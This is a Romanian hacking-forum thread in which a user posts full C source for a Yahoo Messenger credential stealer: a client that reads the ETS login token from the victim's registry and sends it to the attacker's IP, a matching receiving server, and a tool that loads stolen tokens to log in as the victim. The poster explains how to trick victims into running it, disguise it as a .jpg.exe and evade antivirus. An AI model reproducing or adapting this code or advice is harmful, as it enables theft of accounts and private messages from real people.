ionut.hulub Posted February 20, 2012 Report Posted February 20, 2012 Cum functioneaza:daca aveti optiunea de remember ID & password bifata la Yahoo, atunci parola voastra se gaseste in registri criptata in md5 si apoi codata impreuna cu alte cateva informatii, purtand numele laolalta de ETS.Daca cunoasteti ETS-ul cuiva, il puteti folosi sa va logati pe id'ul lor de mess, si de acolo si pe mail.Programul care l'am facut va ajuta sa furati ETS'ul celui care il deschide. Mai sunt astfel de programe pe net, dar mojoritatea presupun ca ai acces fizic la calculatorul de pe care vrei sa furi ETS-ul. Cel facut de mine va trimite parola in calculatorul vostru.Faceti in felul urmator:1)deschideti serverul pe calculatorul vostru;2)trimiteti victimei fisierul "client.exe" si o/il convingeti sa il deschida.3)in folderul care contine serverul o sa apara un fisier text nou, numele fisierului find id'ul victimei, iar continutul este ETS-ul acesteia.4)descarcati de pe net un ets logger si folositi informatiile aflate la pasul 3 ca sa va logati.Mai tarziu in seara asta o sa fac si eu un ets logger personalizat pentru stealerul meu, si o sa il postez aici.FOARTE IMPORTANT:fisierul client.exe trebuie sa se conecteze la adresa voastra de ip ca sa va trimita parola, asa ca va trebui sa va dau codul sursa in loc de executabil, inlocuiti 127.0.0.1 cu ip-ul vostru!, il compilati (eu am folosit visual studio 2010 in release mode), si deabia apoi o sa aveti fisierul client.exeas putea sa il fac mai usor de configurat dar prefer asa, ca sa nu reuseasca toti copii de 10 ani sa il foloseasca.SERVER:YMStealerServer execodul pentru client:#include <winsock2.h>#include <ws2tcpip.h>#include <stdlib.h>#include <stdio.h>#pragma comment(lib, "ws2_32.lib")#define DEFAULT_BUFLEN 512#define DEFAULT_PORT "27015"typedef struct regentry{ char nume[256]; DWORD tip; byte data[256];} regentry;int __cdecl main(int argc, char **argv) { int contor = 0; char sendbufmeu[512]; regentry valori; int i = 0; DWORD lenNumeValoare = 255, lenData = 511; char subkey[] = "Software\\Yahoo\\Pager"; HKEY cheie; if(RegCreateKeyEx(HKEY_CURRENT_USER, subkey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_QUERY_VALUE, NULL, &cheie, NULL)!=ERROR_SUCCESS){ printf("Eroare la deschidere cheie!"); return 1; } if(RegEnumValue(cheie, i, valori.nume, &lenNumeValoare, NULL, &valori.tip, valori.data, &lenData)!=ERROR_SUCCESS){ printf("Eroare. %d", GetLastError()); } do{ i++; if(!strcmp(valori.nume, "ETS") || !strcmp(valori.nume, "Yahoo! User ID")) { if(contor==0){ strcpy(sendbufmeu, (char*)valori.data); strcat(sendbufmeu, "$"); contor++; } else strcat(sendbufmeu, (char*)valori.data); } lenNumeValoare = 255; lenData = 511; }while(RegEnumValue(cheie, i, valori.nume, &lenNumeValoare, NULL, &valori.tip, valori.data, &lenData) != ERROR_NO_MORE_ITEMS); WSADATA wsaData; SOCKET ConnectSocket = INVALID_SOCKET; struct addrinfo *result = NULL, *ptr = NULL, hints; char *sendbuf = "this is a test"; char recvbuf[DEFAULT_BUFLEN]; int iResult; int recvbuflen = DEFAULT_BUFLEN; char ip[] = "127.0.0.1"; // Initialize Winsock iResult = WSAStartup(MAKEWORD(2,2), &wsaData); if (iResult != 0) { printf("WSAStartup failed: %d\n", iResult); return 1; } ZeroMemory( &hints, sizeof(hints) ); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; // Resolve the server address and port iResult = getaddrinfo(ip, DEFAULT_PORT, &hints, &result); if ( iResult != 0 ) { printf("getaddrinfo failed: %d\n", iResult); WSACleanup(); return 1; } // Attempt to connect to an address until one succeeds for(ptr=result; ptr != NULL ;ptr=ptr->ai_next) { // Create a SOCKET for connecting to server ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol); if (ConnectSocket == INVALID_SOCKET) { printf("Error at socket(): %ld\n", WSAGetLastError()); freeaddrinfo(result); WSACleanup(); return 1; } // Connect to server. iResult = connect( ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen); if (iResult == SOCKET_ERROR) { closesocket(ConnectSocket); ConnectSocket = INVALID_SOCKET; continue; } break; } freeaddrinfo(result); if (ConnectSocket == INVALID_SOCKET) { printf("Unable to connect to server!\n"); WSACleanup(); return 1; } // Send an initial buffer iResult = send( ConnectSocket, sendbufmeu, (int)strlen(sendbufmeu), 0 ); if (iResult == SOCKET_ERROR) { printf("send failed: %d\n", WSAGetLastError()); closesocket(ConnectSocket); WSACleanup(); return 1; } // shutdown the connection since no more data will be sent iResult = shutdown(ConnectSocket, SD_SEND); if (iResult == SOCKET_ERROR) { printf("shutdown failed: %d\n", WSAGetLastError()); closesocket(ConnectSocket); WSACleanup(); return 1; } // cleanup closesocket(ConnectSocket); WSACleanup(); return 0;}Daca aveti intrebari (si cred ca o sa aveti) le astept aici.happy coding 1 Quote
Isaac Posted February 20, 2012 Report Posted February 20, 2012 Pe ce port se conecteaza la mam?? Quote
ionut.hulub Posted February 20, 2012 Author Report Posted February 20, 2012 27015 dar nu e nevoie sa specifici decat ip'ul. de port m'am ocupat eu. Quote
Isaac Posted February 20, 2012 Report Posted February 20, 2012 Da, dar unii poate au routere ce blocheaza accesul, portul trebuie sa-l stim pt a face forward. Quote
ionut.hulub Posted February 20, 2012 Author Report Posted February 20, 2012 in cazut asta va dau si codul serverului, desi pentru majoritatea nu cred ca portul o sa fie o problema#include <winsock2.h>#include <ws2tcpip.h>#include <stdio.h>#define DEFAULT_PORT "27015"#define DEFAULT_BUFLEN 512#pragma comment(lib, "ws2_32.lib")int main() { FILE* fisier; WSADATA wsaData; int iResult; iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); if (iResult != 0) { printf("Eroare. %d", iResult); return 0; } struct addrinfo *result = NULL, *ptr = NULL, hints; ZeroMemory( &hints, sizeof(hints) ); hints.ai_family = AF_INET; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; hints.ai_flags = AI_PASSIVE; // Resolve the local address and port to be used by the server iResult = getaddrinfo(NULL, DEFAULT_PORT, &hints, &result); if ( iResult != 0 ) { printf("getaddrinfo failed: %d\n", iResult); WSACleanup(); return 1; } SOCKET ListenSocket = INVALID_SOCKET; ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol); if (ListenSocket == INVALID_SOCKET) { printf("Error at socket(): %ld\n", WSAGetLastError()); freeaddrinfo(result); WSACleanup(); return 1; } // Setup the TCP listening socket iResult = bind( ListenSocket, result->ai_addr, (int)result->ai_addrlen); if (iResult == SOCKET_ERROR) { printf("bind failed: %d\n", WSAGetLastError()); freeaddrinfo(result); closesocket(ListenSocket); WSACleanup(); return 1; } if ( listen( ListenSocket, SOMAXCONN ) == SOCKET_ERROR ) { printf( "Error at bind(): %ld\n", WSAGetLastError() ); closesocket(ListenSocket); WSACleanup(); return 1; } SOCKET ClientSocket; ClientSocket = INVALID_SOCKET; // Accept a client socket int contorParole = 1; while (true) { ClientSocket = accept(ListenSocket, NULL, NULL); if (ClientSocket == INVALID_SOCKET) { printf("accept failed: %d\n", WSAGetLastError()); closesocket(ListenSocket); WSACleanup(); return 1; } char recvbuf[DEFAULT_BUFLEN]; int recvbuflen = DEFAULT_BUFLEN; iResult = recv(ClientSocket, recvbuf, recvbuflen, 0); if (iResult > 0) { printf("Password nr. %d received.\n", contorParole); } else if (iResult == 0) printf("Connection closing...\n"); else { printf("recv failed: %d\n", WSAGetLastError()); closesocket(ClientSocket); WSACleanup(); return 1; } recvbuf[iResult] = '\0'; char numeFisier[128]; int aux = 0; while (recvbuf[aux] != '$') { numeFisier[aux] = recvbuf[aux]; aux++; } numeFisier[aux] = '\0'; strcat(numeFisier, ".txt"); numeFisier[aux+4] = '\0'; fisier = fopen(numeFisier, "w"); fprintf(fisier, "%s", &recvbuf[aux+1]); fclose(fisier); contorParole++; } system("pause"); return 0;}Ca sa schimbati portul trebuie doar sa dati alta valoare constantei DEFAULT_PORT atat in client cat si in server. Quote
mengele Posted February 20, 2012 Report Posted February 20, 2012 2)trimiteti victimei fisierul "client.exe" si o/il convingeti sa il deschida.Crezi ca mai haleste cineva? Ai incercat sa scanezi fisierul dupa compilare? Asa mai simplu ii trimiti direct un keyloger.La conexiunea client-server o sa ai probleme...Ideea in sine este OK...dar muncesti degeba la acest ETS stealer Quote
ionut.hulub Posted February 20, 2012 Author Report Posted February 20, 2012 (edited) Crezi ca mai haleste cineva? Ai incercat sa scanezi fisierul dupa compilare? Asa mai simplu ii trimiti direct un keyloger.La conexiunea client-server o sa ai probleme...Ideea in sine este OK...dar muncesti degeba la acest ETS stealerDe ce o sa am probleme la conexiune?si relativ la prima intrebare, daca mai haleste cineva, raspuns e da, foarte multi oameni.evident recomand sa iti dati un nume gen laMare.jpg.exe ca sa creada unii ca e poza(majoritatea au extensia ascunsa si or sa vada doar laMare.jpg) si sa ii modificati iconita dar asta tine de voi.online virus scan:https://www.virustotal.com/file/64442bc282315a66a94c1033e137a08d082ce6355b4953199dc03c3b085db1c3/analysis/1329749789/nu a fost depistat deloc.am observat totusi ca daca victima are firewall activ, clientul o sa ceara permisiune sa se conecteze la net, dar majoritatea oamenilor dau ok fara sa citeasca deci nu'i problema. Edited February 20, 2012 by NemesisITSC Quote
wNNkz0r Posted February 20, 2012 Report Posted February 20, 2012 ma, daca trebuie sa trimiti cuiva iar el trb sa se deschida, mai bine ii trimiti un keylogger si nu mai ai batai de cap Quote
ionut.hulub Posted February 20, 2012 Author Report Posted February 20, 2012 (edited) keyloggeru e mult mai usor de depistat de antivirul mai nu mai vorbiti aiurea, plus ca daca se prinde ca i'ai dat keylogger poate face un backup ceva si scapa de el inainte sa tasteze parola Edited February 20, 2012 by NemesisITSC Quote
tromfil Posted February 20, 2012 Report Posted February 20, 2012 O întrebare mai mult de informa?ii.daca aveti optiunea de remember ID & password bifata la Yahoo, atunci parola voastra se gaseste in registri criptata in md5 si apoi codata impreuna cu alte cateva informatii, purtand numele laolalta de ETS.hash în md5 ?i apoi înc? o dat? codat?? ?tiu c? m-am jucat pu?in cu astea, dar nu ?in minte s? fi auzit detaliile astea. Eu ?tiam de un fel de cod de sesiune - token - pe baza c?ruia prime?ti un cookie valid, nicidecum parola.Felicit?ri pentru program. +rep Quote
ionut.hulub Posted February 20, 2012 Author Report Posted February 20, 2012 nu garantez dar sigur am citit undeva cum ca ets-ul ar contine un timestamp inversat, parola in md5 si inca vreo 2 chestii, toate astea codate in yahoo64. Quote
totti93 Posted February 20, 2012 Report Posted February 20, 2012 Bravo!Port 27015 Oare de unde-mi suna cunsocut? Oricum, felicitari pentru munca depusa! Quote
bboy21 Posted February 20, 2012 Report Posted February 20, 2012 Port 27015 Oare de unde-mi suna cunsocut? e portul principal de la serverele de cs Quote
totti93 Posted February 20, 2012 Report Posted February 20, 2012 Da, stiam. Intrebam doar asa de prostie... Mai bine programezi decat sa joci rahatul ala de CS Quote
shaggi Posted February 20, 2012 Report Posted February 20, 2012 Cred ca a ales portul ala pentru ca la multi sta tot timpul deschis asa ca e mai bine decat sa faci firewall rules Quote
ionut.hulub Posted February 20, 2012 Author Report Posted February 20, 2012 YMLogger exeYMLoggerIl puneti in acelasi folder cu serverul.dupe ca obtineti unul sau mai multe fisiere care contin ets-uri valide, va folositi de YMLogger ca sa va logati folosind ets-urile.cam asta ar fi tot ce aveti nevoie.#include "stdafx.h"#include <Windows.h>#define LEN 512typedef struct users{ char numeFisier[256]; char numeFaraExt[256]; //add here } users;int _tmain(int argc, _TCHAR* argv[]){ HANDLE firstFile; int i = 0; users fisiere[1024]; char currentPath[LEN]; GetCurrentDirectory(LEN, currentPath); strcat(currentPath, "\\*.txt"); WIN32_FIND_DATA winFD; if((firstFile = FindFirstFile(currentPath, &winFD)) == INVALID_HANDLE_VALUE) { printf("error %d.", GetLastError()); return 0; } int x; do { strcpy(fisiere[i].numeFisier, winFD.cFileName); strcpy(fisiere[i++].numeFaraExt, winFD.cFileName); for (x = 0; fisiere[i-1].numeFisier[x] != '\0'; x++); fisiere[i-1].numeFaraExt[x-4] = '\0'; x = 0; }while(FindNextFile(firstFile, &winFD) != 0); int j = 0; while(j < i) printf("%-4d%s\n",j+1, fisiere[j++].numeFaraExt); printf("\nTastati indicele userului pe care vreti sa va logati apoi apasati Enter: \n"); int user; printf("->"); scanf("%d", &user); HANDLE toHack; toHack = CreateFile(fisiere[user-1].numeFisier, FILE_READ_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); byte continut[LEN]; DWORD biticititi; ReadFile(toHack, continut, LEN, &biticititi, NULL); HKEY cheieReg; byte autoLog[4]; for(i = 0; i < 4; i++) autoLog[i] = 0; autoLog[0] = 1; DWORD al = 1; RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Yahoo\\pager", 0, KEY_SET_VALUE, &cheieReg); RegSetKeyValue(cheieReg, NULL, "ETS", REG_SZ, continut, biticititi); RegSetKeyValue(cheieReg, NULL, "Yahoo! User ID", REG_SZ, fisiere[user-1].numeFaraExt, strlen(fisiere[user-1].numeFaraExt)); RegSetKeyValue(cheieReg, NULL, "Auto Login", REG_DWORD, autoLog, 4); printf("\nInchideti mess-ul in cazut in care este pornit, apoi deschideti o fereastra de mess noua...\n"); return 0;} Quote